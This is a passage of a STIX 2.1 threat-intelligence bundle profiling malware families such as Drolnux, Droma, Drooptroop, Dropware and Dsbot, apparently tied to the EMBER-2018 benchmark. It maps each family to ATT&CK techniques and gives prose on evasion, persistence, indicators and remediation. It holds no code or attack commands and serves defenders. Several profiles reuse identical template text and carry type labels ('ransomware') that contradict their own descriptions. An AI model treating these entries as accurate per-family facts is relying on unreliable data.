      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drmsoft exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22d434dc-89da-5a95-8ae9-10ef9515e1da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d967d57-6378-59d1-8ccf-aa13c72a55f5",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drmsoft exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73109eac-b36b-5fb1-846c-3705fbba7938",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d967d57-6378-59d1-8ccf-aa13c72a55f5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drmsoft exhibits technique T1112 (Modify Registry (Search Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d7d2bad-faf5-5c2c-bc7e-372da0cdb0e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d967d57-6378-59d1-8ccf-aa13c72a55f5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drmsoft exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (GPO Abuse))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--254021ee-d5ac-5e56-84ac-a64ffc606df3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Drolnux",
      "description": "Drolnux (tracked in antivirus telemetry as Worm:Win32/Drolnux, Worm:Win32/Drolnux.A, and W32/Drolnux) is a network-aware computer worm and backdoor trojan that emerged around 2010. Distributed through malicious email links, infected removable USB storage media, and trojanized freeware downloads, Drolnux targets 32-bit and 64-bit Windows environments. Upon execution, the worm copies its binary into Windows system directories under deceptive names, modifies registry Run keys to ensure persistence across reboots, and creates autorun configurations on connected removable storage devices. Drolnux establishes an outbound backdoor channel to remote command-and-control (C2) servers, enabling attackers to execute arbitrary system commands, manipulate the filesystem, disable security center notifications, and download secondary malware components (such as keyloggers and info-stealers) onto infected hosts. (Observed samples in benchmark: 205)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Drolnux",
        "Worm:Win32/Drolnux.A",
        "W32/Drolnux",
        "Trojan.Win32.Drolnux"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Drolnux",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/drolnux"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5398f764-6dcb-5c2b-b092-324a232adbe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--254021ee-d5ac-5e56-84ac-a64ffc606df3",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drolnux exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64fc86f9-f7f8-540f-a1cc-f6c26cd85374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--254021ee-d5ac-5e56-84ac-a64ffc606df3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drolnux exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71c082d1-3b1e-5fd6-bc86-6848be175033",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--254021ee-d5ac-5e56-84ac-a64ffc606df3",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drolnux exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80fb9d6e-ab87-58c8-8ed5-8ed9723d4ca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--254021ee-d5ac-5e56-84ac-a64ffc606df3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drolnux exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49e282f6-b3e3-578e-9c85-1a5872c4b54a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--254021ee-d5ac-5e56-84ac-a64ffc606df3",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drolnux exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d5716655-d2e7-5113-b560-c3fa5c67b442",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Droma",
      "description": "Trojan:Win32/Droma is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Droma</b><br>To an end-user, a Droma infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Droma is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Droma is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Droma frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Droma reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Droma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/droma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34fb911e-c2bc-5257-bc9d-1951d277b020",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5716655-d2e7-5113-b560-c3fa5c67b442",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Droma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8768924d-4f6c-503d-8761-3af10754b90f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5716655-d2e7-5113-b560-c3fa5c67b442",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Droma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--818da163-97e4-5eae-8dba-f1e44b2de444",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5716655-d2e7-5113-b560-c3fa5c67b442",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Droma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8ba9eb0-755b-53fb-bf87-ef0a3b68f8b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5716655-d2e7-5113-b560-c3fa5c67b442",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Droma exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fb49943-7485-5e22-997c-1a3f14ca0142",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5716655-d2e7-5113-b560-c3fa5c67b442",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Droma exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dfae97e9-5193-54df-9356-045780a8d995",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Drooptroop",
      "description": "<h3>Executive Summary</h3>\nDrooptroop is a highly specialized Dropper and Loader tool, frequently associated with Advanced Persistent Threat (APT) groups. Unlike noisy, mass-distributed malware, Drooptroop is engineered for extreme stealth and surgical precision. Its sole purpose is to securely bypass initial endpoint defenses and silently deploy highly sensitive, bespoke espionage payloads directly into system memory.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDrooptroop is typically deployed following a successful spear-phishing attack or after an attacker has gained initial access via compromised VPN credentials or a zero-day exploit. It is often disguised as a benign, digitally signed binary to evade immediate scrutiny.\n\nIts technical execution relies on advanced evasion techniques:\n<ul>\n<li><strong>Environmental Keying (Anti-Analysis):</strong> Before executing its payload, Drooptroop performs extensive environmental checks. It may verify the specific MAC address, domain name, or installed security products on the target machine. If the environment does not perfectly match the intended victim (e.g., if it is running in a security researcher's sandbox), the malware safely terminates itself to avoid analysis.</li>\n<li><strong>Fileless Execution:</strong> To bypass disk-based antivirus scanning, Drooptroop decrypts its primary payload (often a Remote Access Trojan or a specialized data exfiltration tool) and injects it directly into the memory space of a legitimate Windows process (Process Hollowing or DLL Injection).</li>\n<li><strong>In-Memory Obfuscation:</strong> The payload residing in memory is often heavily obfuscated, making it incredibly difficult for EDR solutions to analyze its behavior or extract its configuration.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a sophisticated dropper like Drooptroop is a critical incident. It signifies that a highly capable, likely state-sponsored actor has actively targeted the organization, successfully bypassed perimeter defenses, and is actively attempting to establish a covert foothold for espionage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Advanced Behavioral EDR:</strong> Eradication requires an EDR solution capable of deep memory scanning and behavioral monitoring to detect the anomalous process injection and subsequent network activity initiated by the memory-resident payload.</li>\n<li><strong>Forensic Memory Capture:</strong> Before rebooting or isolating the machine, it is critical to perform a full volatile memory (RAM) capture. Because the true payload never touches the disk, memory forensics is the only way to reverse engineer the attacker's final tools and determine the scope of the espionage.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the Drooptroop execution was successful. Initiate a comprehensive threat hunt across the network, focusing on abnormal administrative logins, suspicious PowerShell activity, and unauthorized data staging.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dropper.Drooptroop",
        "APT.Drooptroop",
        "Loader.Drooptroop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Drooptroop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/drooptroop"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82b7e1f3-144b-57f1-9d1b-8aead80a5e07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfae97e9-5193-54df-9356-045780a8d995",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drooptroop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a3904077-9f76-5701-8a1d-664e19f128ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1480.001: Environmental Keying",
      "description": "MITRE ATT&CK Technique T1480.001 (Environmental Keying) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1480.001",
          "url": "https://attack.mitre.org/techniques/T1480/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d578d3a0-6514-539d-8d4f-1cea0b7b241a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfae97e9-5193-54df-9356-045780a8d995",
      "target_ref": "attack-pattern--a3904077-9f76-5701-8a1d-664e19f128ca",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drooptroop exhibits technique T1480.001 (Environmental Keying)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2971756-2d07-5f4f-b157-a13af957eb94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfae97e9-5193-54df-9356-045780a8d995",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drooptroop exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b54446e7-408c-5b67-87aa-ac85e7a99b63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfae97e9-5193-54df-9356-045780a8d995",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drooptroop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f053a705-1b12-57eb-8dd1-e886181beb9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dropware",
      "description": "Dropware (cataloged in antimalware telemetry under signatures including TrojanDropper:Win32/Dropware, Trojan:Win32/Dropware, and Trojan.Dropware) is a stealthy modular trojan dropper and initial access payload extractor active since 2014. Distributed predominantly through phishing emails with macro-enabled document attachments and trojanized keygens, Dropware is engineered to deliver multiple secondary crimeware modules while minimizing forensic footprint. Upon execution, Dropware extracts embedded, XOR-encrypted binary executables and DLLs from its resource section or overlay. It writes the decrypted payloads to system temporary folders (%Temp%, %AppData%) or directly executes them in memory via process hollowing into svchost.exe. Dropware installs persistence for dropped components via Windows Registry Run keys, initiates initial reconnaissance beacons over HTTP/HTTPS, and performs self-deletion via cmd batch scripts to thwart post-incident file recovery. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDropper:Win32/Dropware",
        "Trojan:Win32/Dropware",
        "Trojan.Dropware",
        "Win32/Dropware",
        "TrojanDropper:Win32/Dropware.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dropware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dropware"
        }
      ],
      "labels": [
        "trojan_dropper",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a2fd2132-b4ca-5fb7-92d7-f94f344195de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Drowor",
      "description": "Trojan:Win32/Drowor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Drowor</b><br>To an end-user, a Drowor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Drowor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Drowor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Drowor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Drowor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Drowor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/drowor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4190ba09-d999-579f-be0f-be173d0ff87b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2fd2132-b4ca-5fb7-92d7-f94f344195de",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drowor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--170e41d0-8506-519c-a8ce-6ea137579a61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2fd2132-b4ca-5fb7-92d7-f94f344195de",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drowor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdaa4c97-25ee-5742-88f9-d833ab531fa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2fd2132-b4ca-5fb7-92d7-f94f344195de",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drowor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22e55f25-9009-5851-aad4-aebb277efe81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2fd2132-b4ca-5fb7-92d7-f94f344195de",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drowor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4da1a7c9-3bb5-5c91-98af-3dd123adf1fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2fd2132-b4ca-5fb7-92d7-f94f344195de",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drowor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d7c0e9cf-6b2c-5682-9388-c196a9517f72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dsbot",
      "description": "<h3>Executive Summary</h3>\nDSBot is a malicious Trojan with robust botnet capabilities, designed to covertly infiltrate Windows systems, establish deep persistence, and connect the infected host to a centralized command-and-control (C2) infrastructure. It is frequently utilized by cybercriminal organizations to build large botnets capable of launching distributed denial-of-service (DDoS) attacks, distributing spam, or acting as proxies for other malicious actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDSBot is predominantly distributed through socially engineered spam campaigns containing malicious attachments or via drive-by downloads originating from compromised websites utilizing exploit kits.\n\nUpon successful execution, DSBot operates with a focus on establishing control:\n<ul>\n<li><strong>Botnet Registration:</strong> The trojan immediately communicates with its hardcoded C2 server, registering the compromised machine's IP address, OS version, and network bandwidth capacity, effectively enrolling the host into the botnet.</li>\n<li><strong>Persistence:</strong> DSBot ensures it survives system reboots by modifying deep Windows Registry keys (e.g., injecting into `svchost.exe` startup routines) or by installing itself as a hidden background Windows Service.</li>\n<li><strong>Command Execution:</strong> As a botnet agent, DSBot receives and executes arbitrary instructions from the C2 server. This frequently involves downloading secondary malware (like info-stealers), initiating high-volume HTTP/UDP floods against target IPs (DDoS), or routing attacker traffic through the host (proxying).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA DSBot infection represents a significant security incident. While it may not immediately encrypt local files, a compromised machine becomes an active participant in global cybercrime, severely degrading local network performance and exposing the organization's IP space to blacklisting.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Anomaly Detection:</strong> Monitor edge firewalls for sustained, high-volume outbound traffic to unknown IP addresses or anomalous communication over non-standard ports (indicators of C2 beaconing or DDoS participation).</li>\n<li><strong>Endpoint Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify the DSBot executable and determine if it was used to deploy any secondary payloads.</li>\n<li><strong>Service Remediation:</strong> If DSBot installed itself as a service, it must be carefully stopped and removed using administrative tools (like `sc delete`) before attempting to delete the underlying executable files.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.DSBot",
        "Botnet.DSBot",
        "Win32/DSBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dsbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dsbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--985f7ff2-6608-5f06-85f7-61f4ebde5029",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7c0e9cf-6b2c-5682-9388-c196a9517f72",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dsbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d537e8fd-81d0-5c28-8603-57e8bf6902ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7c0e9cf-6b2c-5682-9388-c196a9517f72",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dsbot exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4133c8c1-3deb-578c-9188-e5e2661386a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7c0e9cf-6b2c-5682-9388-c196a9517f72",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dsbot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0164e470-6377-584e-a20c-a27d735c6c54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dubfot",
      "description": "Trojan:Win32/Dubfot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dubfot</b><br>To an end-user, a Dubfot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dubfot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dubfot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dubfot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dubfot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dubfot",
